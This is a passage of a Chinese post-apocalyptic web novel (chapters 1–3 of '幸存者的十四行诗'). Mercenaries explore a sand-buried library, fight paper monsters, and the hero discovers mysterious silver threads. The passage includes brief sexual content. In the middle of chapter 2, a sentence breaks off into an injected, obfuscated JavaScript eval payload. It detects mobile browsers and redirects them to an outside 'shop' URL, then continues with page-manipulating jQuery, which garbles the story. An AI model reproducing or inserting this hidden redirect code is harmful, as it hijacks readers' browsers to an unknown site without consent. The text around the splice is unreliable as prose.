《幸存者的十四行诗》 1. 第1章 荒漠 “人类认为这所有文明都是拜自己的英明睿智所赐,但大部分人类只是从出生时起,就沐浴在了早已存在的文明中。如此发达的文明,几乎都是在谁都没干什么的过程中,不知不觉就已经存在的。” ——岩井俊二《华莱士人鱼》 人类的头骨由若干个部位组成。 最上方是顶骨。左右各一瓣,中间是凹凸不平、形如细密骨刺的锯齿状夹缝。 将两瓣顶骨拼合,中间严丝合缝,连一滴水都漏不出来。 “矢状缝。” 戴着单片眼镜的青年学者,五官轮廓漂亮,身材高大而俊美。 他瞥了眼一旁断壁残垣上的古旧书本。阳光越过大理石废墟,落在他托举着人类颅骨的修长手指上。 他抚摸那道紧密咬合的顶骨骨缝,像废墟中的藤蔓攀爬着大理石断柱。 不久后,他抬起手,拿起下一块。 “额骨。” “颧骨。” “上颌骨。” 形如碗状的人类头骨,在他手中逐渐成型。 锯齿状的骨骼边缘锐利地切压着他的指腹。他似乎对此感到十分好奇,举起碗状的头骨,放在阳光下面仔细端详。 遗骨在阳光中仿佛重新有了温度。透过两个空荡荡的眼眶,无声地与他对视。 微风吹起书页。泛黄的纸张沙沙作响。 单片眼镜折射着微冷的光芒。青年把玩着掌中的人类遗骨,表情似有困惑。 从他衣服下摆处伸出几条肉红色的触手。无数细小吸盘,如婴儿啜吸乳汁那样蠕动,书本被吸盘吸附着翻动几页。 随后,触手上凸.起的肉瘤们陡然翻转,露出底下的眼珠。 数百颗眼珠一眨不眨,专注打量着书本。 “脑。” 青年学者有些茫然地,念出书本上的文字。 原来头骨里还有脑,难怪现在的身体头轻脚重。 可脑是什么样的? 他抬起自己空空如也的头,无数条触手柔软地伸出。很快就从大理石废墟里找到更多人类头颅,并且失望地发现这些头颅里也空空如也。 没有大脑。 …… 风沙漫天,一行三人行走在沙丘上。 “嘿,兄弟,听说你的头发在晚上会发光,还会变成银白色?这是真的吗?” 应钟转过头,看到身旁皮肤黝黑的少年爽朗一笑,朝他露出一口歪歪扭扭、不算整洁的牙齿。 这种情况在废土里很常见。食物短缺,再加上经常参加战斗,大灾害后出生的孩子们很少能拥有健康完整的牙齿。 应钟回答道:“是这样。”说着扯下了自己的兜帽。 漫天黄土中风沙肆虐。砂砾摩擦耳道,如同老式收音机般杂响。 应钟低头的一瞬间,乌黑的发丝呈现在对方面前。干净利落的短发之下,是一双温润的眼。 少年从未见过这么漂亮的眼睛,下意识脱口道:“你睫毛好长……” “这样方便遮挡风沙。”应钟随口道,“大灾害前有一种动物叫‘骆驼’,体格很大,擅长在沙漠里长途旅行。为了遮挡风沙,它们进化出了两排眼睫毛和三层眼皮。” “哇,真的吗?可是三层眼皮要怎么长呢?!”少年两眼放光,注意力立刻从他的头发转移到了那种名为“骆驼”的生物上。他朝应钟兴奋好奇地追着问个不停。 应钟唇角含着笑,一边告诉他自己知道的有关骆驼的一切,一边很自然地把兜帽又笼了回去。 走在两人前方不远处的是一名脸上带着刀疤的男子。闻言扭头骂道:“别磨蹭了,走快点行不行?我们又不是来旅游的!” “嘿,路温大哥,你知道吗,大灾害前有种很神奇的动物……” 少年表情得意地上前几步,想要告诉给领头那名同伴听。 路温毫不领情,骂骂咧咧道:“杰里米!你再这么多废话,小心我把你从沙丘上踢下去!快闭上嘴巴省省力气吧!不然等你说得口干舌燥把水全部喝光,我可不会把珍贵的饮用水浪费在你身上!这趟任务可还长着呢!” 少年杰里米扁扁嘴,一脸不爽。 应钟却忽然停下脚步。 “还有你,新来的菜鸟!”路温怒气冲冲地转过身,“你能不能走快点?你的两条腿是陷进沙子里去了吗?快给我跟上!我可没有工夫浪费在你这种……” 路温正打算好好警告一下这个新入队的成员,却见那黑发黑眸的年轻人伸手一指远方,说:“那是什么?” 众人下意识望去,除了茫茫沙漠,什么都没看见。 “你别岔开话题。”路温恶狠狠地道,“你……” 他正想一把捞起对方的领子,对方却在他手掌底下游鱼似的一溜,随即踩着沙丘边缘滑了下去。 杰里米惊叫一声,却见应钟脚下一偏,整个人顺着沙壁滑下,像鹰隼俯冲般稳稳落地。 沙丘上只留下一道轻盈利落的痕迹。 “好帅!”杰里米惊叹。 “妈的!都什么时候了还耍帅!”路温骂归骂,却也得承认他那一下确实很帅。 应钟漫不经心地拍拍夹克上的尘土,头也不回地走向前方。 如同沙滩边玩耍的孩童一般,他随意地朝面前的小土丘踢了一脚。 “菜鸟!你到底在干什么!别玩了!你赶紧给我——”路温终于失控地大吼大叫起来。 下一秒。轰—— 大地震动,整座沙丘如同沙漏倾倒一般地开始滑坡。 杰里米惊恐大叫,路温反射性地捞过同伴摁进怀里。 一大一小两个雇佣兵,极其狼狈地从沙丘上抱团滚下来。 “呸呸呸!”杰里米一脸苦恼地往外吐着沙子。 “这是……”路温却在错愕中起身,震惊地看着眼前的场景。 “这个,应该就是我们在找的那个旧世界遗 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杰里米张了张嘴,似乎想问什么。 路温则陷入了长久的沉默。 “走吧,去找别的入口。”路温漠然道。 “嗯。”应钟环顾四周,循着记忆,摸索通风窗口可能会在的位置。 “你多少岁了?”路温忽然问。 “二十八。”应钟蹲在地上扒沙子。 “那大灾害的时候你岂不是只有——”杰里米瞪圆眼睛,“八岁?!” “嗯。”应钟笑笑。 “我四十二。”路温走到他身旁,蹲下。动作粗鲁地拉开他的手,转而用随身携带的工兵铲,大力地铲动砂砾。 金属铲动砂砾的沙沙声里,路温的声音也像风沙一样冷硬。 “我弟弟,大灾害的时候,也八岁。”路温淡淡道。 “……”应钟蹲在地上,仰起头看他。两人视线对上一瞬,静默无言,于是又错开。 “那你弟弟……”杰里米刚问出口,忽然察觉到什么,闭上嘴不说话了。他沉默了一会儿,朝路温靠过去,小声道,“对不起,我不知道……” “没关系,挖吧。”路温转头,向应钟确认,“是这儿没错吧?” “应该是,小心点。这里的窗户……” 应钟话音未落,哗啦!有东西碎裂的声音。 路温和杰里米都还没反应过来,应钟就惨叫一声,扑上去堵住那个流沙似的洞口。 “快快快,快来帮忙!” 片刻前的冷静自若此时已消失无踪,应钟整个人像条被拔离水面的鲶鱼一样扑上去,屁.股高高翘起,狼狈趴在碎玻璃前,一边噗噗吐着沙子一边朝两人大叫,“别让沙子流进去!你们快来帮忙不然沙子会倒灌会淹没整个图书馆啊咳咳咳咳——” 2. 第2章 丝线 不断漏沙的破窗户姑且用一块厚木板先堵上了。 “杰里米在外头看守。”路温说,“我跟新人下去看看。” “好。”杰里米听话点头,伸手按住厚木板,打算配合他们,在他们进入图书馆的一瞬间合上木板,以免沙子堵住入口。 “我觉得不太合适。”应钟摸了摸下巴,朝路温道,“毕竟他刚刚立了一个FLAG,说想看我的头发什么的……” 路温:“?” 应钟:“我的头发要到晚上才能发光。你知道的,就那种……‘啊,真想在最后亲眼看看他头发发光的样子啊……” 杰里米:“???” 杰里米一头雾水,路温却听懂了,表情一瞬间变得非常古怪。 “夜光白毛有什么好看的。”路温没好气地说了句,却转头把杰里米把自己身边带了带,“算了,你还是跟着我吧。省得你毛手毛脚,一个人在外头不知道惹出什么麻烦。” “哦哦,好。”杰里米听话点头,望向路温的眼神充满信任。 应钟笑笑,拿出攀援绳索,固定。 透过那扇破碎的窗户,可以看见图书馆内部空间巨大。光线斜斜地射进去,时不时还有细沙滑落。 时光正在流逝。 三个人依次下去,缓缓降在空旷黑暗的图书馆底部。 和外头的沙漠相比,图书馆里的气温很低。沉闷空气接触皮肤时引起战栗,如同触碰死人指甲。黑暗中有危险的气息。 “小心点。” 应钟吸吸鼻子,笼起兜帽。在手电筒的光束中谨慎前行。 穿过了摇摇欲坠的大门,庞大空旷的幽暗迎面扑来。 带着凉意,曾经是读者来来往往的大厅,现在只剩下一地的碎石和残页。 应钟扬起手电筒,一束光在黑暗中跳跃,触及了一排排高.耸的书架。 寂静和尘埃混为一体,时间在这里融为永恒。 “历史,文学,心理学……妈的,都是不值钱的玩意儿!” 路温在书架间快速穿梭,手电筒的光柱烦躁地扫过一排排书架,“这里简直是旧世界破烂的坟墓!” 物理学、化学,乃至生物学的货架都已经空了。很显然,在他们之前,已经有人劫掠过这座图书馆。 ——大灾害后的年代,文学和艺术早已不被需要。 食物、水、燃料、机械……以及各种自然科学书籍,才是真正有用的东西。 “没关系,反正雇主只是让我们来探路……”杰里米小声安慰道,“把位置标记带回去,也算是完成委托了吧?” 话虽如此,费了这么大的功夫却要空手而归,还是很令人沮丧。 应钟瞥了眼身旁书架上的书籍们,脑中浮现出小时候父母带他来参观这座图书馆的场景。 他记得这座图书馆,有着很高很高的玻璃屋顶。清冷的光辉透过淡青色玻璃照耀下来,并不刺眼,反而十分柔和。图书馆里总是开着空调,一年四季都很舒服。 人来人往,特别是寒暑假的时候,总有学生成群结队,对家长说要一起来写作业,实际上是凑在一起玩游戏,嘻嘻哈哈地聊天。 ……都是恍如隔世的场景了。 应钟从回忆中抽回思绪,目光忽然被黑暗中的某个亮光吸引。 那是什么? 他眯了眯眼睛,压低手电筒,缓缓走过去。 应钟的黑暗视力很好,哪怕在一片漆黑中也能看清脚下的路。 路温和杰里米的声音远在几个书架之后,遥远得像是来自另一个世纪。应钟谨慎地靠近那个微弱光源,手指已经按在了腰间的银色手枪上。 走近之后,应钟皱起眉头。 那竟然是一本书。 准确地来说并不是那本书在发光,而是书脊上有一个闪闪发光的小亮点。仿佛一颗掉了队的星星,孤零零地闪烁着微光。 应钟不禁回忆起了世界末日之前的那些RPG游戏……这闪闪发光的物品,肯定是什么特殊道具。 没有人能抗拒把发光物品拿起来调查的冲动,于是应钟把那本闪着星光的书从书架上抽出来。 “华、莱、士……人鱼?”应钟念着书封上的名字。 这个书架应该是外国文学,封面上是一条奋力游向海面的人鱼。 应钟正想翻开书本看看里面,眼前却忽然一花。 无数道银白色的丝线从书页中迸发,应钟心道果然,他立刻掏出手枪,将书丢开。 书本啪地掉在地上。应钟后退几步,警惕地盯着那本书。更多的丝线从书页中爆发出来,如同一场放射性的流星雨。 那丝线亮得惊人,却柔和。应钟的眼睛并没有被刺痛的感觉。 一部分丝线开始朝着他这里移动。应钟快速后退,丝线反而像长了眼睛,锲而不舍地追逐他。 无论应钟的动作再怎么迅捷,他也快不过光。 不知多少条银色丝线进入了他的身体,应钟眉头紧皱,停下来摸摸自己的额头和胸膛,感觉身体并没有任何不适。 “怎么了怎么了?” 路温和杰里米听到动静赶过来,两个人都已经给枪支上膛,进入战斗状态。 “别过来!”应钟喝道。 杰里米还在傻乎乎地往这里跑,路温先反应过来,一把捞住他。 应钟正想提醒他们小心那些丝线,却在黑暗中看到了更古怪的场景——路温和杰里米明明站得老远,两人之间却也浮现出一根银色丝线。 那并不是从地上那本书里冒出来的,仿佛是路温和杰里米跑来这里之前,那些丝线就已经存在于他们的身体里。 丝线从他们的胸膛里冒出来,银白色的微光把两个人的身体连结在一起。 应钟疑惑道:“你们刚才也触发剧情了吗?” “什么意思?”路温反问。 应钟指了指两人胸口,路温和杰里米都低头望去,随即对视一眼,脸上都写满疑惑。 应钟换了个说法,指着地上道:“你们看得到这个吗?” “看到了,一本书。怎么了?”路温皱眉,语气不悦,“你到底在大呼小叫什么?” 大呼小叫……应钟盯着半空中那些千丝万缕的发光细丝,总算确定了一件事: 路温和杰里米都看不到那些丝线。 那些发光的细丝到底是什么? 不知怎么,应钟忽然心里一跳。 他觉得这种银白色的丝线,和他的头发有点像。 “应钟哥,你刚才到底看见什么了?”杰里米见他表情不对,不由紧张起来。两手搓着胳膊,瑟瑟发抖道,“你别吓我,要不我们先出……” 应钟弯腰把《华莱士人鱼》塞进背包,正要回答,身后却忽然一凛。 不对劲! “小心!”路温也大喝一声,一把推开杰里米,同时端起猎枪。砰!子弹出膛! 应钟反射性地一低头,子弹几乎贴着他的脑袋飞过去。他躲闪瞬间反手掏枪,以绝佳的动态视力捕捉到目标。 左边有一只,右边两只……还有书架上面! 远处还有更多! 怪物的出现几乎是爆发式的。它们的身体结构毫无逻辑,有的像是被遗弃的书页和断裂的书架拼凑而成,有的则是由腐朽的布料和失去光泽的金属零件混合而成。 这些怪物以扭曲的身体在地面和书架上匍匐,如爬行动物在黑暗中靠近,却在路温开枪的一瞬间朝着众人猛扑而来! 砰! 应钟扣动扳机,一枪打爆了距离他最近的那只怪物。 路温的那一枪则打了空。怪物们的动作远比想象中灵敏,由布满灰尘的书页和生锈的钢材组成的身体在行动时彼此碰撞摩擦,发出刺耳尖锐的噪声。 杰里米尖叫:“小心上面!” 应钟快步倒退,躲闪的同时抬手一枪,击碎怪物的身体。 子弹毫无疑问已经命中,然而这头怪物和先前那只一样,混乱无章的身体毫无结构可言。 无论被击中哪个部位,它们都能继续活动,顶多是冲刺速度稍微受到阻碍。 对这种聚合怪物来说,根本没有要害部位的概念。除非把它整个击溃,否则它还会继续攻击! 奇怪的是,被应钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393102|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开枪击中的怪物们,身上都有一根丝线,连接着应钟和怪物的身体。 应钟确定自己的身体没有任何不适,而怪物的行动看起来也没有受到任何影响。 ——这些丝线到底是什么玩意儿? 更多的怪物围上来,从书架的两头包抄三人。应钟和路温持枪射击,杰里米一边惨叫一边掏出小型手雷扔向怪物。 轰隆一声,怪物们纷纷被炸飞。书架则一片片地朝两边倒去,压倒一大片怪物! 应钟挑眉,心想杰里米这孩子,哭得比谁都狠,杀伤力比谁都大。 杰里米看见怪物被炸飞也是脸上一喜,然而下一秒他就笑不出来了。 因为那些被他炸碎的怪物们窸窸窣窣地又爬起来,裂变成比之前更小的个体,以更快的速度朝三人冲来! 发黄的碎纸发出沙沙声,生锈的钢条发出金属摩擦声。这一切声音都令人牙齿发痒,头皮发麻。 杰里米被一只小型书页怪物靠近,手臂上当场被割开一个大口子。鲜血直流。 “啊啊啊!别过来别过来!”杰里米捂着手臂崩溃大叫。 “别叫了!”路温怒吼,一把捞过杰里米的手臂,往上一推,“上去!” 杰里米跌跌撞撞,几乎被他扔到了倒伏的书架上。整个人直接摔懵了,抓着手电筒瑟瑟发抖。 “别慌,杰里米。”应钟一边射击一边后退,“关掉手电筒!别怕,我们能出去!” “唔唔!”杰里米立刻捂住自己的嘴巴,泪眼婆娑手脚并用往外爬。 书架被他炸塌了一半,里面的书全都掉下来,把书架变成了空荡荡的铁架子。 应钟和路温背靠着背,一边射击一边掩护杰里米,皮靴踩在生锈的铁书架上,铿然作响。 “光和声音,选一个?”应钟回过头,唇角在黑暗中扬起一个帅气弧度。 路温漫不经心装弹:“声音。”也不见他瞄准,话音落下的瞬间,子弹破空,击穿怪物头颅的同时射向后方那排生锈铁架。 一时间橙红火光飞溅,巨大书架轰然倒塌,数只怪物被死死压住,发出凄厉哀嚎! “漂亮!”应钟吹了声口哨,“那我只能选光了。” “……”躲在两人背后的杰里米瑟瑟发抖地关掉手电、捂紧嘴巴,选择同时关闭声音和光。 书页怪物们被倒塌的书架短暂吸引了注意。路温一把拽起杰里米,扭头正要朝入口跑去,却见越来越多的怪物从旧纸堆里爬起来。 “刚才不该说这里是旧世界破烂的坟墓的……” 路温懊恼地嘀咕,“现在我们都要给这些破烂陪葬了。” “不怪你。”应钟随口道,“谁能想到知识还会诈尸。” 杰里米:“……” 路温:“……” 路温大手一揽,把满脸眼泪鼻涕的杰里米往怀里一带,沉声道:“我没子弹了。” “……”杰里米浑身一颤,从他怀里仰起头。手臂上刚才被划开的口子还在鲜血直流,他却仍然谨记着路温的吩咐,双手紧紧捂着自己的嘴巴,哭得没有一点声音。 他把所有恐惧咽进肚子里,只剩瘦弱的肩膀一抖一抖。 “杰里米。”应钟的声音忽然变得温柔,他说,“擦干眼泪。你不是想看我的头发吗?” “啊?”杰里米茫然抬起头,越过路温宽阔的肩膀,他看到那位头戴兜帽的青年,不知何时已经爬到另一座书架顶上。 黑色战斗衣将他的身躯紧紧裹缚,图书馆的幽光勾勒出流畅紧绷的腰。 书页怪物们从四面八方围过来,沙沙的摩擦声听得人头皮发痒。 应钟背对着他们,似乎是笑了笑。杰里米看到他英俊温润的嘴角。 “跑。”应钟说。然后摘下兜帽。 刹那间,光华流转。银白色的发丝犹如流星,灿烂地划过黑暗。 杰里米睁大眼睛,感觉到身边的路温同样呼吸一窒。紧接着杰里米的双脚腾空,离开地面。 “欠你两条命!兄弟!”路温大喝一声,随即一把捞起杰里米,夹在腋下。继而朝着图书馆入口处,头也不回地狂奔。 3. 第3章 隐疾 半小时后。 “快快快!就是这里!你们三个从这里挖,那边五个人去那里!” 杰里米大喊着,指挥身旁的同伴进行挖掘。 “动作轻!别鲁莽!”路温身先士卒,举着铲子一边挖掘,一边大声嘱咐众人,“这里的玻璃很容易碎,别让沙子倒灌进去!” 身旁一众年轻力壮的小伙子纷纷应声。这是杰里米和路温喊来的帮手。应钟牺牲自己掩护他们出来,两人一回到城镇就到处找人帮忙,以最快时间赶回来救援。 然而似乎还是晚了。 “路温大哥!里面已经塌了!”有人喊道。 路温皱起眉头,手里的铲子停下。 “不,那可能只是一部分……换其他地方……”杰里米拼命摇头,眼圈却已经红了。他走过来,抢过路温手里的铲子,一边吸溜鼻子一边低头挖掘。 路温沉默,按下他的手,示意他看:“下面已经完全被沙子填满了。” 杰里米呼吸一哽。路温说得没错,图书馆内部已经完完全全被砂砾填满,几乎没有缝隙。 恐怕在他们离开之后,里面又发生了塌方。整个沙漠的沙子都向里面倒灌进去,原本空旷巨大的地下图书馆,已经变成了一个实心棺材。 应钟不可能有存活机会。 塌方原本是应钟在进入图书馆之前就提醒过他们的事,如今却真的发生了。杰里米一想到这个,鼻子又是狠狠一酸,眼泪更多地流下来。 路温摇摇头,示意不用继续浪费时间了。其他人救援者都陆陆续续放下了铲子,抬起头看着他们。 杰里米却不肯放弃,一边哇哇大哭一边奋力挥铲。 杰里米的手臂染红了一大片。他手上的伤只做了最简单的包扎,还没来得及缝针。这会儿鲜血重新涌出,大片鲜血在纱布上红得刺眼。 路温皱着眉头,一把夺过铲子同时按住他手臂上方的大动脉,沉声道:“够了!杰里米!跟我回去!你必须处理伤口!” 一群人情绪低迷地回到了城镇里。杰里米已经哭得没力气,靠在路温身上,抽噎得身体一歪一歪。 “他为什么要救我们……”杰里米呜咽道,“我们才认识半天都不到……” “……”路温摇摇头,揉了下他的头发,让他别哭了。 杰里米一抬头,看到有人牵着匹马走过集市。那匹马很高大,令他联想起应钟跟他提过的大灾害前的骆驼。 杰里米喉头一哽,顿时哭得更厉害了。 “哇——应钟——”杰里米仰头哀嚎。 高大的马匹走过,露出街道一旁的小摊位。 应钟抱着一些军用罐头,从摊位上抬起头,转身看过来:“嗯?谁叫我?” 杰里米:“?” 路温:“???” 身后帮忙救援的一帮人也全都傻眼了,铲子榔头急救箱,所有东西叮铃哐啷地掉一地。 …… 半小时后,路温和杰里米家。 “所以说,塌方是你故意引发的?”路温狐疑地看着应钟,“你故意射穿房梁,好让整个屋顶塌下来……” “嗯。你是不是给他扎太紧了?孩子脸都变形了。”应钟关心地看着杰里米。 路温低头,这才发现杰里米的五官都已经被纱布勒变形了。 路温连忙松手,杰里米这才张嘴大口喘气。 杰里米手臂上的伤口已经缝合了,脑袋上还被蹭破一大块皮,幸好没弄破大血管,只是看着吓人。 路温给他全都重新包扎好,满是血污的衣服也换下来。杰里米看上去总算没那么凄惨了。 不过和路温应钟比起来,杰里米还是三个人里伤得最重的那一个。 “但你怎么知道枪该打哪里……”杰里米想象着应钟逃脱的过程,疑惑道,“你怎么能确定塌方发生的时候,屋顶和沙子正好能把那些怪物压在下面,而你自己又能够安全逃生呢?” 应钟耸了耸肩。 他其实没办法确定。 他只是射击比较准,又不是专业建筑师,怎么会知道关键的承重点在哪里。 更何况在几十只书页怪物的围攻下,他根本来不及多想,只能凭着直觉射击。 但他很快发现了一件不对劲的事情。 所有被他击中的位置,早在子弹到达之前,就有一个闪闪发光的银色光点在那儿了。 而当他开枪射击的一瞬间,子弹如同流星划过夜空,后方拖着长长丝线。 那一刻,银白色的丝线将他与屋顶上的银色光点相连。 一切都太完美了,子弹就像前往命中注定的位置。以至于射着射着,应钟也偷起了懒。直接瞄准银色光点所在的位置射击。 不久之后,所有光点汇聚成一片,如同璀璨星空。 屋顶随之坍塌,整座沙漠都朝这里倾覆。 亿万吨黄沙在阳光下如同大脑皮质褶皱的沟回,只是那沟回飞快融化。所有怪物都在一瞬间被黄沙压住。 而应钟所在的位置恰好躲开了砂砾的重压。 他的脚下是一片银光灿烂的星海。 “……只是运气好。”应钟从回忆中收回思绪,随口道,“就算你现在让我重复一遍我也做不出来了。” 杰里米:“……” 路温:“……” 杰里米眼睛又红了,扑进他怀里哇哇大哭:“幸好你活着回来了!阿弥陀佛,上帝保佑……” 应钟奇道:“你还有宗教信仰?” “我每次会随机挑选几个宗教许愿,如果成功了就说明很灵,没成功就说明不灵,那我就不信了。”杰里米抽噎着抬起头,往他怀里塞了个平安符,“这是我以前去道观遗迹里捡的,给你吧。” “嚯,辩证唯物主义封建迷信。你可以啊。”应钟摸了摸他包满纱布的脑袋,手感奇特,忍不住笑了。 比起平安符,应钟其实对那个道观遗迹更感兴趣。 杰里米直接把道观遗迹的位置告诉了他,还贴心地画了张地图。应钟打算有空的时候去探索一下,看看还能不能捡个漏,找到点什么有用的东西。 应钟向两人道别。路温起身道:“这次真的很感谢你。” 应钟笑道:“没什么,让你们先走只是怕你们碍事。” 毕竟那种时候要解释自己的计划很麻烦,丝线的事也很蹊跷。应钟决定暂时把它当做一个秘密。 路温拿出一个造型奇异的东西。那东西是环形的,中间用彩色细绳编制成精巧的网。下面还坠着几根漂亮的羽毛。 应钟眉毛一挑:“这是什么?” “这叫捕梦网。传说只有好梦可以通过这个网,坏梦都会被留下来,随着第二天的阳光升起,灰飞烟灭。” 路温把捕梦网递给他,“这也是我的信物。送给你,我的兄弟,祝你好运。” 应钟向他道谢,离开。 路温在他身后大喊:“兄弟,记着,我还欠你两条命!有什么需要随时来找我!” 应钟笑笑,朝他摆手。 夕阳下,应钟边走边把玩那个捕梦网。他走出一段距离,忽然想起个很严重的问题。于是扭头返回路温和杰里米的住处。 正要进屋,门没关,透过门缝应钟看到杰里米坐在路温的腿上。路温把杰里米抱在怀里,抚摸他的后背,低头吻他。 金黄色的夕阳照在杰里米包扎着纱布像颗圆鸡蛋似的脑袋上,看上去可怜又好笑。路温亲吻他时却温柔又细致,像安抚又像索取与满足。 应钟吃了一惊,后退几步。刹那间一切细节串联起来。他忽然懂了为什么从头至尾路温说的都是“我欠你两条命”。 应钟默默在门外等着,想等他们接完吻再进去谈正事。没想到那两个人吻着吻着都动了情,杰里米把手伸向路温鼓鼓囊囊的裤子,路温按住他,摇头低声说了句什么。 杰里米一下子就脸红了,应钟听见他小声说了句“我给你用嘴”。 场面越来越不是应钟能看的了。应钟面红耳赤,扭过头,正在纠结要不明天再来,路温却忽然起身,走过来关门。 两个人措不及防四目相对。路温表情有些僵硬,不自然地侧身用门挡住半个身体。半秒钟后艰难开口:“……还有什么事吗兄弟。” 应钟尴尬道:“这次任务的报酬……” “哦哦。”路温转身,进屋拿了一小袋东西出来。应钟打开一看,里面是两大盒抗生素、一瓶复合维生素,还有几块颜色各异的金属。 “这么多?!”应钟吃惊。 “药品是我的一点心意。”路温说。 应钟想了想,没回绝。拎起袋子朝路温笑笑,把夕阳下的小屋留给劫后余生的两人。转身离开。 夜深了。 应钟回到自己的住处。这是一个废弃居民楼的空房间。 大灾害发生以后,人类都市遭到毁灭性的破坏。电力、交通、自来水,大部分基础设施都已经无法恢复。许多人仍然选择居住在废弃了的建筑物里,房间远远比人多,只要在门口贴着牌子示意里面有人居住,就可以直接用。 应钟记得,以前这里是二环内。他曾听父母提过,说这里的房价十几万一平,什么样的家庭才能住这种地方。 应钟走到镜子前,脱下外衣,忍不住“嘶”了一声。 镜子里倒映出他伤痕累累的身体。 伤口又细又深,都是被那些书页怪物弄出来的。他是人不是神,被那么多怪物包围追逐,身上难免挂彩。 他从沙漠回到家里后就先做了简单的处理,可家里没有消毒的东西,于是他换了身衣服,去集市上采购。因此才遇到路温他们。 简单的处理并不能让伤口愈合。经过一下午的折腾,绷带逐渐被血洇透。 好消息是没有伤筋动骨,坏消息是伤口太深,行动时都会牵扯到。估计要好几天才能长好。 应钟对着镜子,拿出下午买的烈酒,开始给自己消毒。 烈酒浇在伤口上,尖锐的刺痛直往肌肉神经里钻。应钟疼得浑身发抖,握着酒瓶的手却反而更稳,一点一点地往伤口上继续倒酒精。 可惜没有止痛药。 末世里各种药物都是稀罕东西,止痛药更是价格不菲。应钟咬住一块毛巾,用来抑制呻.吟。额头冷汗涔涔而下。 他不是怕痛的人。 但这确实是……有点难熬。 镜中倒映出青年伤痕累累的赤.裸身躯。皮肤是健康的小麦色,腹.肌随着动作紧绷。汗水打湿肌肉,呼吸都因疼痛而破碎。 应钟闭着眼,用酒精把伤口都一一消毒。又拿出路温给他的抗生素,混着凉水仰头吞下。 这两盒药真是帮了大忙了。应钟在末世里摸爬滚打二十年,身体素质很好,也早已习惯了受伤。 但伤口感染仍然是末世幸存者死亡率最高的原因。不得不小心。 处理完伤口,他长长呼出一口气。瞥了眼地上那些染血的纱布,应钟疲倦地倒在床铺上。 他感觉被子枕头都有些阴冷。明天如果阳光好,他打算把铺盖拿出去晒一晒。 现在是几月份了?白天热得要命,晚上的风却像刀子一样刮得脸疼。按照体感温度来算的话,类似于旧世界的深秋吧。 不过大灾害之后全球气候巨变,再也没办法区分一年四季,更没有天气预报。有时候白天热到四五十度,晚上气温却骤降零下……很多人都在睡梦中被冻死,第二天被发现的时候气候却已转暖,遗体直接发臭腐败。 有点冷。任务报酬也拿到了,明天休息一天,晒晒被子吧…… 应钟裹着阴冷发霉的被子,觉得身体怎么都暖和不起来。 他抽抽鼻子,心想如果这时候能有个人抱着一起睡就好了。 脑袋里不可避免地浮现起白天看到的,路温和杰里米亲密相处的画面。 应钟感觉自己有一点点羡慕。 不对,应该说是羡慕坏了。 一个人在末世挣扎求生,说不孤独怎么可能。人类终究是群居动物…… 但是…… 应钟抱着被子在床上翻来覆去,身体很冷,脸上却有些发烫。他闭着眼睛努力让自己睡觉,可是脑子里不断回想起杰里米那句“我给你用嘴”。 应钟烦躁地揉了下头发,最终还是起身下床,从背包最底下掏出个东西。 那是一个十几公分长的塑胶制品,下面有开关,还有粗圆的底座。医生向他保证,说有了这个底座,就不怕放进去拿不出来了。 ……但是这也太大了吧。拿在手里简直可以当武器,不,凶器。应钟掂量了下,觉得这东西拿来抽人一定巨疼,而且能造成巨大精神伤害。 “你前面神经受损了,药物对你没用……你知道的,末世里人们不太会……呃,我不是说没有这种需求,我是说没人会因为这个来做手术。所有会做这种手术的医生都已经起码有二十年没上过手术台了。我个人觉得没必要为这个问题冒生命危险吧……” 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应钟低声咒骂了句,不情不愿地爬起来,把那东西捡回来,仔仔细细擦干净。 万一以后要用呢……别弄脏了。 应钟一边擦拭,一边感觉到强烈的厌恶与不适感。 他把那东西重新塞回背包最底层。 想了想,又在外面包上了厚实的毛巾。 且不说到底用不用得上……要是被人看到了,他能羞耻到原地自杀。 应钟满脸通红。做完这一切他重新躺回到冰冷的床铺上。 得想办法去弄几个电池。应钟羞愧又无地自容地想:让他自己用手……手动,就算只是抓着那东西推进去,他也实在做不到。有了电池摁下开关然后什么都不管应该会好点。 至少不会让他那么强烈地感觉自己在……在那什么自己。 明天把被子拿出去晒晒吧。正好也该洗衣服了。 应钟迷迷糊糊地想着,翻来覆去,总算在冰冷的被窝里睡着了。 翌日清晨,应钟在热烘烘的阳光里醒来。昨天后半夜他睡得不错,不知道是不是挂在墙上的捕梦网起了效果。 他拿出路温给他的任务报酬,重新仔细看了下。 两大盒抗生素和维生素,都是完整的包装,里面还有中文说明书。这太好了。大灾害之后物资紧缺,大部分幸存者都靠着军用干粮和捕猎小动物过活。药品和新鲜蔬菜都非常紧缺。 也有人试图种菜,但是很快就发现,土壤不知道受到了什么污染,大部分泥土都没法用。要么根本种不出东西来,要么是种出来的东西有剧毒。总之就是没法吃。 在这种不正常的饮食结构下,大家的营养状况都令人担忧。复合维生素片因此成为非常珍贵的物品。 至于抗生素就更别说了。关键时候能保命的东西,谁都知道抗生素在末世废土的价值。 看得出来,路温这份谢礼真的是下了血本了。 袋子里另外装着的则是一些金属。应钟把它们全都倒出来,放在阳光下端详。 肉眼判断,应该是银和铝合金。银可以净化水质,铝合金轻便又耐腐蚀。这两种金属在所有幸存者聚集地都是很受欢迎的物资。 大灾害之后,所有国家的货币都已经变成废纸,更别说电子支付了。如今人们都用金属、食物、药品之类的东西进行贸易。以物易物,仿佛回归了原始社会。 应钟估算了一下这几块金属的价值,推测这些金属才是这次探索任务原本的报酬。 今天天气很好,应钟打算出去走走。顺便把床上的被单床罩都给拆了,拿到外面晒。 临出门前,想了想,他又折回来,把背包里那本什么什么人鱼带上。 文学作品在末世里根本不值钱。但是今天天气很好。 应钟看了眼那本书的封面:一条奋力游向海面的人鱼。他不知道为什么,很喜欢这个封面。他决定找个舒服的地方坐下来,或许翻开书看一会儿? …… 与此同时,另一边。 万里黄沙之中,戴着单片眼镜的青年学者看着早已崩塌的图书馆,眼睛睁大,露出错愕的表情。 他跪下来,试着用双手去挖窗户里面的沙子。 